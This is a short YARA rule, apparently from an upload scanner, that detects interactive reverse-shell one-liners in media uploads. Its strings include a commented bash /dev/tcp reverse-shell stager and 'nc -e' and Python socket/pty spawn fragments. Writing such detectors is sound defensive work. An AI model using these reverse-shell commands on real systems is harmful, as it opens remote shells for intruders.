| 1 |
// MakeNotWork - interactive reverse-shell one-liners. |
| 2 |
// These idioms are extremely specific to remote-shell payloads and effectively |
| 3 |
// never appear in audio/image/video/archive creative content. Untrusted uploads |
| 4 |
// are held for review regardless; this catches the obvious stagers in-process. |
| 5 |
|
| 6 |
rule reverse_shell_oneliner { |
| 7 |
meta: |
| 8 |
description = "Classic interactive reverse-shell one-liners (bash/nc/python)" |
| 9 |
strings: |
| 10 |
$bash_devtcp = "/dev/tcp/" ascii // bash -i >& /dev/tcp/host/port 0>&1 |
| 11 |
$bash_redir = ">&" ascii |
| 12 |
$nc_e = "nc -e /bin/" ascii |
| 13 |
$ncat_e = "ncat -e /bin/" ascii |
| 14 |
$py_rs = "import socket,subprocess,os" ascii |
| 15 |
$py_pty = "pty.spawn(\"/bin/sh\")" ascii nocase |
| 16 |
$py_dup2 = "subprocess.call([\"/bin/sh\",\"-i\"]" ascii nocase |
| 17 |
condition: |
| 18 |
($bash_devtcp and $bash_redir) |
| 19 |
or $nc_e or $ncat_e |
| 20 |
or ($py_rs and ($py_pty or $py_dup2)) |
| 21 |
} |
| 22 |
|